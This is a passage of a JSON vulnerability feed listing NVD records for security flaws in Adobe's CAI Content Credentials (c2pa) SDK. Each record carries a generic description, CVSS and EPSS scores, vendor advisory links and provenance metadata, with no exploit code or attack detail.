CVE-2026-100138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100138","type":"primary","publishedAt":"2026-10-13T22:17:12.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100137","cveId":"CVE-2026-100137","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:12.150Z","updatedAt":"2026-10-15T18:29:59.833Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100137","asOf":"2026-10-15T18:29:59.833Z"},"epss":{"probability":0.00541,"percentile":0.45232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100137","type":"primary","publishedAt":"2026-10-13T22:17:12.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100137, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100136","cveId":"CVE-2026-100136","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service.","summary":"CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Integer Overflow or Wraparound vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:12.030Z","updatedAt":"2026-10-15T18:30:21.540Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100136","asOf":"2026-10-15T18:30:21.540Z"},"epss":{"probability":0.00568,"percentile":0.46779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100136","type":"primary","publishedAt":"2026-10-13T22:17:12.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100135","cveId":"CVE-2026-100135","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.907Z","updatedAt":"2026-10-15T18:42:28.057Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100135","asOf":"2026-10-15T18:42:28.057Z"},"epss":{"probability":0.00608,"percentile":0.48809,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100135","type":"primary","publishedAt":"2026-10-13T22:17:11.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100124","cveId":"CVE-2026-100124","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.663Z","updatedAt":"2026-10-15T18:30:47.897Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100124","asOf":"2026-10-15T18:30:47.897Z"},"epss":{"probability":0.00608,"percentile":0.48808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100124","type":"primary","publishedAt":"2026-10-13T22:17:11.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100123","cveId":"CVE-2026-100123","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.543Z","updatedAt":"2026-10-17T02:17:02.980Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100123","asOf":"2026-10-17T02:17:02.980Z"},"epss":{"probability":0.00293,"percentile":0.21731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100123","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100123","type":"primary","publishedAt":"2026-10-13T22:17:11.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100122","cveId":"CVE-2026-100122","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.420Z","updatedAt":"2026-10-15T18:29:17.457Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100122","asOf":"2026-10-15T18:29:17.457Z"},"epss":{"probability":0.00293,"percentile":0.21731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100122","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100122","type":"primary","publishedAt":"2026-10-13T22:17:11.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100121","cveId":"CVE-2026-100121","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.300Z","updatedAt":"2026-10-15T18:42:31.587Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100121","asOf":"2026-10-15T18:42:31.587Z"},"epss":{"probability":0.00293,"percentile":0.21731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100121","type":"primary","publishedAt":"2026-10-13T22:17:11.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100120","cveId":"CVE-2026-100120","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.173Z","updatedAt":"2026-10-15T18:30:15.790Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100120","asOf":"2026-10-15T18:30:15.790Z"},"epss":{"probability":0.00494,"percentile":0.42119,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100120","type":"primary","publishedAt":"2026-10-13T22:17:11.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100119","cveId":"CVE-2026-100119","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:11.050Z","updatedAt":"2026-10-15T18:30:06.547Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100119","asOf":"2026-10-15T18:30:06.547Z"},"epss":{"probability":0.00494,"percentile":0.42119,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100119","type":"primary","publishedAt":"2026-10-13T22:17:11.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100118","cveId":"CVE-2026-100118","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:10.870Z","updatedAt":"2026-10-17T02:17:02.863Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100118","asOf":"2026-10-17T02:17:02.863Z"},"epss":{"probability":0.00361,"percentile":0.29625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100118","type":"primary","publishedAt":"2026-10-13T22:17:10.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100117","cveId":"CVE-2026-100117","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of 